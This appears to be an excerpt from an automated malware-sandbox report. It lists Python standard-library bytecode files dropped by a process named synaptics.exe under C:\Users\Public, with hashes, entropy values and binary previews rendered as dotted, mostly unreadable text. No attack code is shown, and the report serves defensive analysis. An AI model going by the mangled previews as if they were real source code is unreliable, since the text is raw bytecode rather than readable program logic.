d.d(..Z5G.dOdP..dPe5d.d(..Z6G.dQdR..dRe5d.d(..Z7G.dSdT..dTe6d.d(..Z8G.dUdV..dVe7d.d(..Z9G.dWdX..dXe7d.d(..Z:G.dYdZ..dZe6d.d(..Z;d[d\..Z<G.d]d^..d^e6d.d(..Z=G.d_d`..d`e6d.d(..Z>G.dadb..db..Z?G.dcdd..dd..Z@G.dedf..df..ZAg.dg..ZBg.dh..ZCeBeC..dig...ZDdjdk..ZEdldm..ZFdndo..ZGd.drds..ZHd.dudv..ZIg.dw..dxdyg.dz..ZJG.d{d\|..d\|e...ZKG.d}d~..d~e?eKd...ZLG.d.d...d.e6d.d(

C:\Users\Public\QExvbmVOb25l\lib\pycache\uu.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3701
Entropy (8bit):	5.565725181926225
Encrypted:	false
SSDEEP:	96:G6dByWyhU9ShozDLcLmxESqc0Ic5k4CW76a0:G6dByWS2zECW3u4gD
MD5:	D9D2E0A72ECC569C9550A4BF51997CD2
SHA1:	7AF75A4FE79F87F1380771250BA38901D6D556F4
SHA-256:	8F347DFD01F602CD58AE6D37FB436B9FBACE215AD164A74E9B35D0F1697DDFDC
SHA-512:	5861BA952C937EB7B0E67E0A008F31C5B29597A23E87BDA056B3CFF7C6B816A376F0F0B3BC267A1A702FF8B3379C33081E2637667207B0AC857147E3D3C9BF88
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...sl...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.G.d.d...d.e...Z.d.d.d...d.d...Z.d.d.d...Z.d.d...Z.e.d.k.r4e.....d.S.d.S.).z.Implementation of the UUencode and UUdecode functions...encode(in_file, out_file [,name, mode], *, backtick=False).decode(in_file [, out_file, mode, quiet])......N)...Error..encode..decodec....................@...s....e.Z.d.Z.d.S.).r....N)...__name__..__module__..__qualname__..r....r.....&C:\Users\Public\QExvbmVOb25l\lib\uu.pyr....'...s........r....F....backtickc....................C...sx...g.}.z.\|.d.k.r.t.j.j.}.n/t.\|.t...r;\|.d.u.r.t.j...\|...}.\|.d.u.r1z.t...\|...j.}.W.n...t.y0......Y.n.w.t.\|.d...}.\|...\|.....\|.d.k.rDt.j.j.}.n.t.\|.t...rSt.\|.d...}.\|...\|.....\|.d.u.rYd.}.\|.d.u.r_d.}.\|...d.d...}.\|...d.d...}.\|...d.\|.d.@.\|.f.....d.......\|...d...}.t.\|...d.k.r.\|...t.j.\|.\|.d.......\|...d...}.t.\|...d.k.s.\|.r.\|...d.....n.\|...d.....W.\|.D.].}.\|.......q.d.S.\|.D.].}.\|.......q.w.).z.Uuencode file..-N..rb..wbi.......z.\n...z.\rz.begin %o %s.i......asc

C:\Users\Public\QExvbmVOb25l\lib\pycache\warnings.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	13659
Entropy (8bit):	5.378568919816206
Encrypted:	false
SSDEEP:	384:QBo+bnHagj6xo0+t6p6l0y8pym5hlSxbFBdbvywKVv3dxZuC1J:QVrHagj6xLM6GaEbFBdryJ/dxZuC1J
MD5:	A34819C409015D3ED5D66DE2E2BD95A6
SHA1:	A7F811C5C94C99AF43123E230A1C0DE379CDD5AF
SHA-256:	178704D6443933120EECC6885E48D9DEF9154F8F9C31C9FA2017F0EF051F0A7D
SHA-512:	B133F04B12F29FE37C8534D4DC7F2F3AE8AB2CBE188868EEE956B0011E176742B9A8833265908CBCBAF0507139E5BAD909C56496AB8B983FFE7411BA5F7513F6
Malicious:	false
Reputation:	low
Preview:	o........'-d.O.......................@...s....d.Z.d.d.l.Z.g.d...Z.d=d.d...Z.d>d.d...Z.d.d...Z.d.d...Z.e.Z.d.d...Z.e.Z.d.d...Z.d.e.d.d.d.f.d.d...Z.e.d.d.f.d.d...Z.d.d...Z.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d?d)d..Z.....d@d+d,..Z.G.d-d...d.e...Z.G.d/d0..d0e...Z.d1d2..Z.z.d.d3l.m.Z.m Z m!Z!m.Z.m.Z.m"Z"..e Z#e!Z$d4Z%W.n...e&y.......g.Z.d5Z#i.Z$d(a'd6d7..Z"d.Z%Y.n.w.e.e.j(....e%s.e)e.d8..s.e.d5ed9d(d:....e.d;e*d(d<....e.d;e+d(d<....e.d;e,d(d<....e.d;e-d(d<....[%d.S.)Az&Python part of the warnings subsystem......N)...warn..warn_explicit..showwarning..formatwarning..filterwarnings..simplefilter..resetwarnings..catch_warningsc....................C...s....t.\|.\|.\|.\|.\|.\|...}.t.\|.....d.S.)..7Hook to write a warning to a file; replace if you like.N)...WarningMessage.._showwarnmsg_impl)...message..category..filename..lineno..file..line..msg..r.....,C:\Users\Public\QExvbmVOb25l\lib\warnings.pyr........s........r....c....................C...s....t.\|.\|.\|.\|.d.\|...}

C:\Users\Public\QExvbmVOb25l\lib\pycache\weakref.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	20356
Entropy (8bit):	5.0836801324013985
Encrypted:	false
SSDEEP:	384:QjNLqhczEtRkD2ofjXd7AMlM/DgWryRjKj8j/XBNOjEUWYh1xL0D:QpqhWSRkSUXd7xyDDyDjOjbWISD
MD5:	83CD9BE8C2B5762933901E53612EB51D
SHA1:	922328F291795BD31A1243EE1BEC8E36EF10F6B7
SHA-256:	847B027F6A5E86A80A78ADFC1ACC9DE48EC4564C34EB9A5BFBA052EA78ADF6ED
SHA-512:	F579616543BD18C6F81DCA9919BEAE90D661EEF5539B3AB1403386C2565759D9B4D53EF42EF9ABBA4550FD44391DDA9E56A5D21052F67DFA7052661B3EE5B06E
Malicious:	false
Reputation:	low
Preview:	o........'-d.V.......................@...s....d.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.e.e.f.Z.g.d...Z.e.j...e.....e.j...e.....G.d.d...d.e...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e.j...Z.G.d.d...d...Z.d.S.).z\|Weak reference support for Python...This module is an implementation of PEP 205:..https://www.python.org/dev/peps/pep-0205/......)...getweakrefcount..getweakrefs..ref..proxy..CallableProxyType..ProxyType..ReferenceType.._remove_dead_weakref)...WeakSet.._IterationGuardN).r....r....r....r......WeakKeyDictionaryr....r....r......ProxyTypes..WeakValueDictionaryr......WeakMethod..finalizec........................sD...e.Z.d.Z.d.Z.d.Z.d.d.d...Z...f.d.d...Z.d.d...Z.d.d...Z.e.j.Z.....Z.S.).r....z.. A custom `weakref.ref` subclass which simulates a weak reference to. a bound method, working around the lifetime problem of bound methods.. )..._func_ref.._meth_type.._alive..__weakref__Nc........................sx...z.\|.j.}.\|.j.}.W.n...

C:\Users\Public\QExvbmVOb25l\lib\pycache\zipfile.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	61048
Entropy (8bit):	5.52755356940606
Encrypted:	false
SSDEEP:	1536:e5DKf6qzuikPr038uc4PT1+Y9sW1EynK5c7z0p+YHiBZ:InqyPr0dhXFAp76
MD5:	8106753A39CABCBA5AEB40F563BF7E62
SHA1:	BC0FE47B046D553245AD950010D540DBD7F6DC34
SHA-256:	20817AEC1F4BCF7AA6F0DA4E97238077B460D76379535284709D3359CF756174
SHA-512:	AE4B6533052B8FB784484B5C580725F269F3EEF59BB54AA0032EF5360371DC0286183FD85ADC73603E4851FA00C7FA469D52C5091B0BA2370A99A3F8116B30A4
Malicious:	false
Reputation:	low
Preview:	o........'-d.g.......................@...sD...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.Z.e.j.Z.W.n...e.yQ......d.Z.e.j.Z.Y.n.w.z.d.d.l.Z.W.n...e.yc......d.Z.Y.n.w.z.d.d.l.Z.W.n...e.yu......d.Z.Y.n.w.g.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.e...Z.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z d.Z!d.Z"d.Z#d.Z$d.Z%d.Z&d.Z'd.Z(e..)e'..Zd.Z+d.Z,d.Z-d.Z.d.Z/d.Z0d.Z1d.Z2d.Z3d.Z4d.Z5d.Z6e..)e5..Z7d.Z8d.Z9d.Z:d.Z;d.Z<d.Z=d.Z>d.Z?d.Z@d.ZAd.ZBd.ZCd.ZDd.ZEd.ZFd ZGd!ZHd"ZId#ZJd$ZKd%ZLe..)eK..ZMd.ZNd.ZOd.ZPd.ZQd.ZRd.ZSd.ZTd.ZUd.ZVd.ZWd.ZXd.ZYd&ZZd'Z[e..)eZ..Z\d(Z]d)Z^e..)e]..Z_d.Z`d.Zad.Zbd.Zcd.Zdd.Zed.Zfd.Zgd.Zhd.ZidZje..kd+..Zld,d-..Zmd.d/..Znd0d1..Zod2d3..Zpd4d5..ZqG.d6d7..d7er..Zsd.atd8d9..Zud:d;..ZvG.d<d=..d=..ZwG.d>d?..d?..Zxi.d.d@..d.dA..d.dB..d.dB..d.dB..d.dB..d.dC..d.dD..d.dE..d.dF..d.dC..d.dG..d.dH..d#dI..dJdK..dLdM..dNdO..ZydPdQ..ZzdsdRdS..Z{dTdU..Z\|G.dVdW..dW..Z}G.dXdY..dY..Z~G.dZd[..d[e.j...Z.G.d\d]..d]e.j...Z.G.d^d_..d_..Z.

C:\Users\Public\QExvbmVOb25l\lib\collections\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	48466
Entropy (8bit):	5.122325300143825
Encrypted:	false
SSDEEP:	768:1bRUurnFDpytMbeGzDRBPou+eQyWImBfbGm49WxxSNo4Q+M2PvUPPAeOTMtJcCnM:RRtFDpyTGzDRBPoJImBfbGm49WxENbQ8
MD5:	D534A846CC1CFBD5889D485066EA9B1F
SHA1:	58DF6A8E86CB20F93FEB5B6E12D13CDF0C1A9530
SHA-256:	F8DA37FD833C794A450A9356AFB9DA4C34089BA30EB2E4845DC1B58C6264D3CD
SHA-512:	039FAAD32CE4CF831DFD6F5AC57D2EC04DEE708A3411CF92B8727E44425A9E61241C5B776DB61A6084314E8AB6B27817738C1CC9AF6D7B58683DD3E2C4C74D14
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...z.d.d.l.m.Z...W.n...e.yO......Y.n.w.e.j...e.....z.d.d.l.m.Z...W.n...e.yg......Y.n.w.G.d.d...d.e.j ..Z!G.d.d...d.e.j"..Z#G.d.d...d.e.j$..Z%G.d.d...d.e&..Z'G.d.d...d.e(..Z)z.d.d.l.m)Z)..W.n...e.y.......Y.n.w.z.d.d.l.mZ..W.n...e.y.......d.d...ZY.n.w.d.d.d.d...d.d...Z+d d!..Z,z.d.d"l.m,Z,..W.n...e.y.......Y.n.w.G.d#d$..d$e(..Z-G.d%d&..d&e.j...Z/G.d'd(..d(e.j...Z0G.d)d..de.j...Z1G.d+d,..d,e.j2..Z3d.S.)-a?...This module implements specialized container datatypes providing.alternatives to Python's general purpose built-in containers, dict,.list, set, and tuple... namedtuple factory function for creating tuple subclasses with named fields.* deque list-like container with fast appends and pops on either end.* ChainMap dict-like class for creating a single view of multiple mappings.* Counter dict subclass

C:\Users\Public\QExvbmVOb25l\lib\collections\pycache\abc.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.825708846798739
Encrypted:	false
SSDEEP:	6:y/jcteC5VvkFZlaE+MdF/Hj5J+soZAuaHxEMntGdgIun:CoeC7gj+Er+so+VltGdcn
MD5:	ED7096D7B9E7FB6E5392AD893D8540B4
SHA1:	63904A501EC62F5DC818C137906566C23FC0B503
SHA-256:	F4347E75E46BF3EEAD0EE408D916F5DD9BFACACD003CBCA478D188A6B3F576BF
SHA-512:	E155D58B184B06861688A460FC67FCD3FD8E07E3251A2175A72A80B77E85D305CC792900B2F41880064198FFF96323589772E4762C45ED1B761D4CEB1EF45197
Malicious:	false
Reputation:	low
Preview:	o........'-dz........................@...s$...d.d.l.T.d.d.l.m.Z...d.d.l.m.Z...d.S.)......)...*)...__all__)..._CallableGenericAliasN)..._collections_abcr....r......r....r.....3C:\Users\Public\QExvbmVOb25l\lib\collections\abc.py..<module>....s..........

C:\Users\Public\QExvbmVOb25l\lib\ctypes\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	15895
Entropy (8bit):	5.335194926314186
Encrypted:	false
SSDEEP:	384:QoMRQLVaCuoN1r9u1u2RTCQzweSkqxo5IbeX6EoV:QoMoVh9u1d9wqpIbQBoV
MD5:	93FF873A646B4442F31F836CBAF8035A
SHA1:	439C0B30D378DF9A3D8908950582D010F062770D
SHA-256:	E805E9E422A7CFA8180B21F4D6E9755C510C8C0F78D9D7DD3F682A600BDD9B30
SHA-512:	1A5AC9BF432D6F03CE6DC80758C841A02CBA8748CEEF78951BCC9216FCC77544B50B062B3B619E27E297874FF197743144027C68EC0364752053F9285B0AF2A3
Malicious:	false
Reputation:	low
Preview:	o........'-dwH.......................@...s(...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.e.k.rJe.d.e.e.....e.j.d.k.rUd.d.l.m.Z...e.Z.e.j.d.k.rqe.j.d.k.rqe.e.....j...d...d.....d.k.rqe.Z.d.d.l.m.Z m!Z"m#Z$m%Z&..d}d.d...Z'd}d.d...Z(i.Z)d.d...Ze.j.d.k.r.d.d.l.m+Z,..d.d.l.m-Z...i.Z/d.d...Z0e0j.r.ej..1d.d...e0_.n.e.j.d.k.r.d.d.l.m2Z,..d.d.l.m3Z3m4Z4m5Z5m6Z6m7Z7..d.d.l.m8Z8m9Z9..d.d l.m:Z:..d}d!d"..Z;G.d#d$..d$e:..Z<e;e<d%....G.d&d'..d'e:..Z=e;e=....G.d(d)..d)e:..Z>e;e>....G.d*d+..d+e:..Z?e;e?....G.d,d-..d-e:..Z@e;e@....e.d...e.d/..k...r'e?ZAe@ZBn.G.d0d1..d1e:..ZAe;eA....G.d2d3..d3e:..ZBe;eB....G.d4d5..d5e:..ZCe;eC....G.d6d7..d7e:..ZDe;eD....G.d8d9..d9e:..ZEe3eE..e3eD..k...rjeDZEe.d/..e.d:..k...rxe?ZFe@ZGn.G.d;d<..d<e:..ZFe;eF....G.d=d>..d>e:..ZGe;eG....G.d?d@..d@e:..ZHeH..eH_IeH_Je;eH....G.dAdB..dBe:..ZKeK..eK_IeK_Je;eK....G.dCdD..dDe:..ZLeL..eL_IeL_Je;eL....G.dEdF..dFe:..ZMe;eMd%....G.dGdH..dHe:..ZNeNZO

C:\Users\Public\QExvbmVOb25l\lib\ctypes\pycache\_endian.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1914
Entropy (8bit):	5.217988533253076
Encrypted:	false
SSDEEP:	48:v7p1APBJ0tfAE4yxn4rX4kbruu/fdq7RvRhPAEV5wq:l6r0OhyuLtV1qRoEV9
MD5:	B0F649A78E4D6B1EFF1431689B8BEAD6
SHA1:	1DE2B0406F2EAFB7A4A92589861DFEB236311E1B
SHA-256:	13F8D900754927F4EB07E5F92BFFD3821156376E2171BA9DB9F4BA8A69E76E23
SHA-512:	69D888A89EA7FD1CD7153546E1B5FF59C0975682E4899010065450069758F9091C2BC287A9477221C61CF1995C58B0FD9CBC20C3D5EB765FFA27CD8EB6584C3A
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.d.l.Z.d.d.l.T.e.e...Z.d.d...Z.G.d.d...d.e.e.....Z.e.j.d.k.r/d.Z.e.Z.G.d.d...d.e.e.d...Z.d.S.e.j.d.k.rDd.Z.e.Z.G.d.d...d.e.e.d...Z.d.S.e.d.....)......N)...*c....................C...sH...t.\|.t...r.t.\|.t...S.t.\|.t...r.t.\|.j...\|.j...S.t.\|.t...r.\|.S.t.d.\|.......).z.Return the type with the 'other' byte order. Simple types like. c_int and so on already have __ctype_be__ and __ctype_le__. attributes which contain the types, for more complicated types. arrays and structures are supported.. z+This type does not support other endian: %s)...hasattr.._OTHER_ENDIAN..getattr..isinstance.._array_type.._other_endian.._type_Z._length_..issubclass..Structure..TypeError)...typ..r.....2C:\Users\Public\QExvbmVOb25l\lib\ctypes\_endian.pyr........s..................r....c........................s....e.Z.d.Z...f.d.d...Z.....Z.S.)..._swapped_metac........................s^...\|.d.k.r&g.}.\|.D.].}.\|.d...}.\|.d...}.\|.d.d.....}.\|...\|.t.\|...f.\|.......q.\|.}.

C:\Users\Public\QExvbmVOb25l\lib\ctypes\pycache\util.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	8325
Entropy (8bit):	5.4800871510315226
Encrypted:	false
SSDEEP:	192:s+G6LCXBDrl73zbXCL3mm0LGuZ7Iv0nwMXwDRi4qzDj:sloiDp7Do0LGutnwMXExqzDj
MD5:	DB18EDF9EDBAE3DD2D37622EB7DFCE11
SHA1:	78BA33E629B8D95B6007A5BD8EA039D6B45FE3EB
SHA-256:	177EB52C4C4F37BC7F01099B0DCD39FE605D63B331641AF76BD17FD74A5509BF
SHA-512:	FF1E36AB1F024F0DF6BDA2C60E6C2BBBADCDA9A48C6D17F640BAC2443263FDA974CF29F43AA177B5F7C91A210430894B215582E53637303FD531AA817EE56C3A
Malicious:	false
Reputation:	low
Preview:	o........'-d.7.......................@...s@...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.e.j.d.k.r"d.d...Z.d.d...Z.d.d...Z.noe.j.d.k.r7e.j.d.k.r7d.d.l.m.Z...d.d...Z.nZe.j...d...rDd.d.l.m.Z...nMe.j.d.k.r.d.d.l.Z.d.d.l.Z.d.d...Z.d.d...Z.e.j.d.k.rcd.d...Z.n.d.d...Z.e.j...d...rvd.d...Z.d.d...Z.n.e.j.d.k.r.d.d...Z.d'd.d...Z.n.d.d ..Z.d!d"..Z.d#d...Z.d$d%..Z.e.d&k.r.e.....d.S.d.S.)(.....N..ntc....................C...s....d.}.t.j...\|...}.\|.d.k.r.d.S.\|.t.\|.....}.t.j.\|.d.......d.d...\.}.}.t.\|.d.d.......d...}.\|.d.k.r3\|.d.7.}.t.\|.d.d.......d...}.\|.d.k.rCd.}.\|.d.k.rK\|.\|...S.d.S.).z.Return the version of MSVC that was used to build Python... For Python 2.3 and up, the version number is included in. sys.version. For earlier versions, assume the compiler is MSVC 6.. z.MSC v...........N.. .........................g......$@r....)...sys..version..find..len..split..int)...prefix..i..s..restZ.majorVersionZ.minorVersion..r...../C:\Users\Public\QExvbmVOb25l\lib\ctypes\util.py.._get_build_version.

C:\Users\Public\QExvbmVOb25l\lib\ctypes\pycache\wintypes.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4871
Entropy (8bit):	5.545621791282772
Encrypted:	false
SSDEEP:	96:0n7SgQvVTrUEp2DHdwyeOXd97wUah1VWyGPTYPrVgI+AxROhOFPN:0n6VTAEp2DH+yZXjw7h1VWJSZe2N
MD5:	28F52ADCEE0136686A3583CE740D09FA
SHA1:	D4A13B70CB8A3417684AEA45ABC0C9577EEAC2F7
SHA-256:	05B71A0C0D64AE7E01D6C436C00372B10B3475D2ABC3B30FA823A192475FBF1D
SHA-512:	C3BF80F25B9421131AB8A0A57ED4E357766314AB946F77989BF26B88BF37B4C34C039C636AE5E33A203AE7B4DFBBB59F07E65881FCB408D53B9667D6DF90DA12
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.d.l.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.Z.e.j.Z.G.d.d...d.e.j...Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j...Z.Z.e.j ..Z!Z"e.j#..Z$..Z%Z&e.j#..Z'Z(e.j)..Z*Z+e.j,..Z-Z.e../e.j...e../e.j,..k.rle.j.Z0e.j.Z1n.e../e.j...e../e.j,..k.r~e.j Z0e.j.Z1e.Z2e.Z3e.Z4e.Z5e.Z6e.Z7e.j,Z8e8Z9e8Z:e8Z;e8Z<e8Z=e8Z>e8Z?e8Z@e8ZAe8ZBe8ZCe8ZDe8ZEe8ZFe8ZGe8ZHe8ZIe8ZJe8ZKe8ZLe8ZMe8ZNe8ZOe8ZPe8ZQe8ZRe8ZSe8ZTe8ZUe8ZVe8ZWG.d.d...d.e.jX..ZYeY..ZZ..Z[Z\G.d.d...d.e.jX..Z]e]Z^G.d.d...d.e.jX..Z_G.d.d...d.e.jX..Z`e`..Za..ZbZcG.d.d...d.e.jX..Zded..ZeZfd.d...ZgG.d.d...d.e.jX..ZhehZiG.d.d...d.e.jX..ZjejZkd.ZlG.d.d...d.e.jX..ZmG.d.d...d.e.jX..Zne..oe.....ZpZqe..oe...Zre..oe.....ZsZte..oe...Zue..oe4..Zve..oe.....ZwZxe..oeh....ZyZze..oe...Z{e..oe8....Z\|Z}e..oeG..Z~e..oeH..Z.e..oe.....Z.Z.e..oe...Z.e..oe7..Z.e..oe.....Z.Z.e..oej....Z.Z.e..oe`....Z.Z.e..oec..Z.e..oeY....Z.Z.e..oe\....Z.Z.e..oeV..Z.e..oe...Z.e..oed....Z.Z.e..oef....Z.Z.e..oe^..Z.e..oe.....Z.Z.e..oe"..Z.e..o

C:\Users\Public\QExvbmVOb25l\lib\email\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1573
Entropy (8bit):	4.9094289530923545
Encrypted:	false
SSDEEP:	48:wwQTrfch6OD9tLNoVThNVAH4N6rqNkh8O:wprfch6OloBLWo6rWk+O
MD5:	F285FB40AC12B7C98D10EC556318E15A
SHA1:	2316B7A9EF592D15D9256207F0B4B8048B58FE86
SHA-256:	7CCC3072CA3B6B93838ACD0D5A3E6BAAA30B1034F49C2EEC1E8810E617C248DE
SHA-512:	1291508C98BA1464C4001E3A28F660C88317B99D283779D34D36156FF5EE7431DFED8E4810681517677D5214D0BE46629747ECD1040275A807C47382C700855C
Malicious:	false
Reputation:	low
Preview:	o........'-d$........................@...s0...d.Z.g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z?A package for parsing, handling, and generating email messages.).Z.base64mime..charsetZ.encoders..errorsZ.feedparser..generator..headerZ.iterators..message..message_from_file..message_from_binary_file..message_from_string..message_from_bytesZ.mimeZ.parserZ.quoprimime..utilsc....................O.... ...d.d.l.m.}...\|.\|.i.\|.......\|...S.).zvParse a string into a Message object model... Optional _class and strict are passed to the Parser constructor.. .........Parser)...email.parserr....Z.parsestr)...s..args..kwsr......r.....2C:\Users\Public\QExvbmVOb25l\lib\email\__init__.pyr.... ............r....c....................O...r....).z\|Parse a bytes string into a Message object model... Optional _class and strict are passed to the Parser constructor.. r........BytesParser).r....r....Z.parsebytes).r....r....r....r....r....r....r....r....(...r....r....c....................O...r....).z.Rea

C:\Users\Public\QExvbmVOb25l\lib\email\pycache\_encoded_words.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5753
Entropy (8bit):	5.418992484992734
Encrypted:	false
SSDEEP:	96:gOU9w0nmhN4XpaTzT797ta3T8qCpjjRtfklxvvp/qLfrg8NNOGbM//qH1uqs:ygN0UHy8h7fOvh/WgGN6XqHkqs
MD5:	E7C75A7AC2CAAB480C1EFCFABE15518E
SHA1:	1BC5A788EDB7C6F1171A052BCD76AC945B6C696A
SHA-256:	5556C917A0A14C1F2F902721600B50091A580F68C2ECDBADA9AEBE64427E977C
SHA-512:	B1A18E86DBB51CD31464974AA940AE5E95C22AAD0B583E08F53CCA490770B76455C8DC696038C64A534FE718BD2341313FC010367A81ECAFFB2F43CA6D08C055
Malicious:	false
Reputation:	low
Preview:	o........'-dF".......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...g.d...Z.e...e...d...j.d.d.....Z.d.d...Z.G.d.d...d.e...Z.e...Z.d.e.e.d...<.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.e.d...Z.d.d...Z.e.e.d...Z.e.e.d...Z.d d.d...Z.d.S.)!z. Routines for manipulating RFC2047 encoded words...This is currently a package-private API, but will be considered for promotion.to a public API if there is demand........N)...ascii_letters..digits)...errors)...decode_q..encode_q..decode_b..encode_b..len_q..len_b..decode..encodes....=([a-fA-F0-9]{2})c....................C...s....t...\|...d.........S.).N.....)...bytes..fromhex..groupr....)...m..r.....8C:\Users\Public\QExvbmVOb25l\lib\email\_encoded_words.py..<lambda>A...s......r....c....................C...s....\|...d.d...}.t.\|...g.f.S.).N....._..... )...replace.._q_byte_subber)...encodedr....r....r....r....C...s........r....c....................@...s,...e.Z.d.Z.d.e...d.....e...d.....Z.d.d...Z.d.S.)..._QByteMaps..

C:\Users\Public\QExvbmVOb25l\lib\email\pycache\_parseaddr.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	12525
Entropy (8bit):	5.369377032962507
Encrypted:	false
SSDEEP:	192:48lfoQBPanIUGehShaPvqfaXJcCMr7UaZbWMFltbgKBk0:XlgoMGePP+7Ua0MpG0
MD5:	F79F2B57A076E3FE13818915F2BFAD46
SHA1:	9F2587D834D467E694AAB27C7482BE1FD307D872
SHA-256:	E9B9EAC8A23FBFB329CE87085D98DF37D771B6CDC9A63C9EC9B2FE2033C97293
SHA-512:	E375EBB86CF14907D88EBBE331296DC0224D58DCF36CEC6E4CCF828F9267804984F4AC1E49F063C77D61959B50D078963022A10B04223E365A165677D1101378
Malicious:	false
Reputation:	low
Preview:	o........'-d.G.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.Z.d.Z.d.Z.g.d...Z.g.d...Z.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.G.d.d...d...Z.G.d.d...d.e...Z.d.S.).zcEmail address parsing code...Lifted directly from rfc822.py. This should eventually be rewritten..)...mktime_tz..parsedate..parsedate_tz..quote.....N.. ..z., ).Z.janZ.febZ.marZ.apr..mayZ.junZ.julZ.aug..sep..octZ.novZ.decZ.januaryZ.februaryZ.marchZ.aprilr....Z.juneZ.julyZ.augustZ.septemberZ.octoberZ.novemberZ.december).Z.monZ.tueZ.wedZ.thuZ.friZ.satZ.sunip...i....i....i....iD...i....).Z.UTZ.UTC..GMT..ZZ.ASTZ.ADTZ.ESTZ.EDTZ.CSTZ.CDTZ.MSTZ.MDTZ.PSTZ.PDTc....................C...s,...t.\|...}.\|.s.d.S.\|.d...d.u.r.d.\|.d.<.t.\|...S.).zQConvert a date string to a time tuple... Accounts for military timezones.. N.....r....)..._parsedate_tz..tuple)...data..res..r.....4C:\Users\Public\QExvbmVOb25l\lib\email\_parseaddr.pyr....-...s................r....c....................C...s....\|.

C:\Users\Public\QExvbmVOb25l\lib\email\pycache\_policybase.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	14795
Entropy (8bit):	5.0540292722350255
Encrypted:	false
SSDEEP:	192:jbtx+Novk6H2JvwhY1jaF7AyJAeb7AqDNF/EIRDAysM1Jd/GaOkdlL7+WpSla/AB:jbteoM6H8vPiJAqVDApM1jeaOMh7G5rl
MD5:	2E5E7E2B998222298FF3D4901DB0EF7D
SHA1:	3131D09977A47C68D27F94942E040E3E5771B8B0
SHA-256:	E295DF5EC5256741661105DD55EDF3D1D4862B2189ED622517F8AAA21E7F6905
SHA-512:	ABCB98264C79E1292AE69E18FBBB26FAF1DE06F91E048A3C502F290ABFB21DD5DCF020D2264FC677E655406417111AABFEB1E3AA9220AE881FD44CAB29093D90
Malicious:	false
Reputation:	low
